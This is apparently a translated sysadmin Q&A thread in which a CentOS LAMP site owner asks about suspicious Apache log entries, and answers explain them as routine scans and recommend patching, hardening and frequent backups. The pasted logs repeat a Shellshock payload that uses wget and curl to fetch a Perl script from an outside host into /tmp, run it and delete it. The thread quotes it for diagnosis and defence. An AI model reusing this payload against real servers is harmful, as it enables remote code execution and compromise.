ちなみに、私はシステム管理者ではなく、Linuxの取り扱いについて少ししか知らないので、これは少し混乱します。
LAMPベースのウェブサイトを運営していて、DigitalOceanでホストしています。サーバーはCentOS7で、 Fail2ban のようないくつかのセキュリティツールをインストールしました。私は頻繁にエラーログとリクエストログをチェックしますが、今日、いくつかの邪魔なリクエストを見ました。以下の例。
私の質問は、ハッカーがウイルスファイル名「a2.png」を私の/tmp
フォルダに植え付けようとしているのでしょうか?そして、ハッカーはそれを植えることに成功しましたか?
ウイルスがサーバーで実行されているかどうかをどのように知る必要がありますか?
これまでのところ、ファイル名がtmpフォルダーに存在することはわかりません。どのようなセキュリティ測定またはサーバー強化をインストールする必要がありますか?そして、アパッチの適切な構成? LAMPをインストールするときは、Apacheの標準構成のみを使用しました。
私が扱っているウェブサイトは仮想ホスト上にあり、フレームワークを使用してより安全にしています。 Webサーバーを保護するための正しい方向に進んでいるかどうかはわかりませんが、ログインを試みるためにFail2banをインストールしただけです。
エラーログの例
[Tue Aug 25 09:48:39.688528 2015] [core:error] [pid 24312] [client 64.15.155.177:33663] AH00126:リクエストGET HTTP/1.1 HTTP /1.1のURIが無効です
[Tue Aug 25 09:48:40.877570 2015] [cgi:error] [pid 24306] [client 64.15.155.177:35398]スクリプトが見つからないか、統計できません:/var/www/cgi-bin/report.cgi
[Tue Aug 25 09:48:41.042423 2015] [cgi:error] [pid 24331] [client 64.15.155.177:35687]スクリプトが見つからないか、統計できません:/var/www/cgi-bin/webmap.cgi
リクエストログの例
64.15.155.177 - - [25/Aug/2015:09:48:39 -0400] "GET HTTP/1.1 HTTP/1.1" 400 226 "-" "() { :;};/usr/bin/Perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;Perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:39 -0400] "GET / HTTP/1.1" 301 234 "-" "() { :;};/usr/bin/Perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;Perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:40 -0400] "GET /main.cgi HTTP/1.1" 301 242 "-" "() { :;};/usr/bin/Perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;Perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:40 -0400] "GET /info.cgi HTTP/1.1" 301 242 "-" "() { :;};/usr/bin/Perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;Perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:40 -0400] "GET /index.cgi HTTP/1.1" 301 243 "-" "() { :;};/usr/bin/Perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;Perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:40 -0400] "GET /admin.cgi HTTP/1.1" 301 243 "-" "() { :;};/usr/bin/Perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;Perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
121.54.44.93 - - [25/Aug/2015:09:48:39 -0400] "GET / HTTP/1.1" 200 3785 "-" "Mozilla/5.0 (Linux; Android 4.4.2; en-ph; SAMSUNG SM-G7102 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36"
64.15.155.177 - - [25/Aug/2015:09:48:42 -0400] "GET /cgi-bin/register.cgi HTTP/1.1" 404 218 "-" "() { :;};/usr/bin/Perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;Perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:42 -0400] "GET /cgi-bin/download.cgi HTTP/1.1" 404 218 "-" "() { :;};/usr/bin/Perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;Perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
Fiasco Labsが回答で指摘している のように、これらのタイプのログエントリは10セント硬貨です。しかし、LAMPベースのWebサーバーの管理と保護に深い歴史を持つシステム管理者として、これはどこかの誰かによるシステムのスクリプト化された「プローブ」ほどの攻撃ではありません。システムのこれらのプローブ/スキャンは、そこにあるサーバーが脆弱であるかどうかを確認するために実行されます。サーバーだけではありません。一般に、これは、音響モデムを介したシステムハッキングの1980年代/ 1990年代にかなり一般的であった 「戦争ダイヤリング」 と同等です。システムのリストをスキャンし、どのシステムに「欠陥」があるかを確認してから、それらの想定される欠陥に対して何ができるかを確認します。
あなたはこれについて慌てる必要がありますか?どういたしまして。インターネット上のありとあらゆるWebサーバーは常に調査されています。私はいくつかのUbuntuLinux Webサーバーを管理しており、今、明日、翌日などにログをチェックするとしたら、100%ポジティブです…あなたが見ているものと同様のエントリが表示されます。しかし、私はこれでまったく眠りを失っていません。現実には、コアOSに適切なパッチが適用され、使用しているフレームワークにパッチが適用されて最新の状態になっている場合は、良好な状態です。
Fail2Ban のようなツールを使用することは悪い考えではありませんが、私に言わせれば少しやり過ぎだと思います。その理由は、 Fail2Ban または ModSecurity のようなツールを使用しても、巧妙なボットが通過する可能性があるためです。そのため、システム管理者への私の最善のアドバイスは、サーバーを強化し、システムの侵害から簡単に回復する方法を用意することです。
私が最善のセキュリティ慣行と考えるのは、LAMPサーバーのセットアップを強化し、PHPコードがしっかりしていることを確認することです。 セキュリティスタック交換サイトのこの回答 は「強化」の意味を理解しますが、正直なところ、システム管理者でない場合は、これの多くが頭に浮かぶかもしれません。
したがって、Linuxシステム管理者になる方法を学ぶことに真剣に取り組んでいない限り、どこかで共有ホスティングプロバイダーを使用したほうがよいかもしれません。そうすれば、管理者は自分のスキルを使ってこのことを心配し、ウェブサイトの実行/コーディングに集中できます。
とは言うものの、共有ホスティングの設定があっても、あなたはオフフックではありません。よく知られているPHPフレームワークを使用している場合でも、更新がリリースされるたびに、そのPHPフレームワークにパッチを適用する必要があります。そしてコアコードベースに関しては、コーディング方法の基本的なセキュリティ慣行に手を出さないようにする必要があります。基本的に、サイトが受け取るすべての入力をサニタイズする方法と、サイトを適切にセットアップする方法を学ぶ必要があります。失敗します、それは災害である方法でそうしません。
そして私の考えでは、それはバックアップ、バックアップ、バックアップ、そしてより多くのバックアップを意味します。サーバーの侵害を制御することはできませんが、データ/システムの回復は常に制御されます。つまり、サイトを復元するには、何らかの小規模な「災害復旧計画」を実施する必要があります。
つまり、コアコードベースをバックアップして、侵害された場合でも、手間をかけずにクリーンなコードを簡単に再デプロイできるようにしてください。そのためには、バージョン追跡とリモートストレージ用のGitHubリポジトリの設定に、 git
などのソースコード管理ツールを使用することを強くお勧めします。また、CapistranoをPHPで使用してコードをデプロイする方法を学びます。私は ここでこれを行う方法に対処する回答 を持っています。
MySQLデータベースと同じです。サイズ/規模に応じて、バックアップを利用できます。中小規模のサイトでMySQLバックアップを3〜4時間ごとに実行するのが好きです。そうすれば、サイトがハッキングされた場合に発生する可能性のある最悪の事態は、データベースが最大で3〜4時間古くなっていることです。同じ日に古いデータベースは、バックアップがまったくない破壊されたデータベースよりも優れています。
一般的な脆弱性を探すスクリプト化されたwget攻撃。サーバーソフトウェアを最新の状態に保つと、ゼロデイでない限り、それらのほとんどは機能しません。
これらはWebサーバー上では10セント硬貨であることがわかります。唯一の防御策は、サーバーをパッチが適用されていない状態で実行できないようにすることです。
Centosセキュリティパッチについて読んでください そしてapt-get/yum/rpm(パッケージマネージャーが何であれ)を実行して最新のセキュリティアップデートを取得するためにより多くの時間を費やしてください。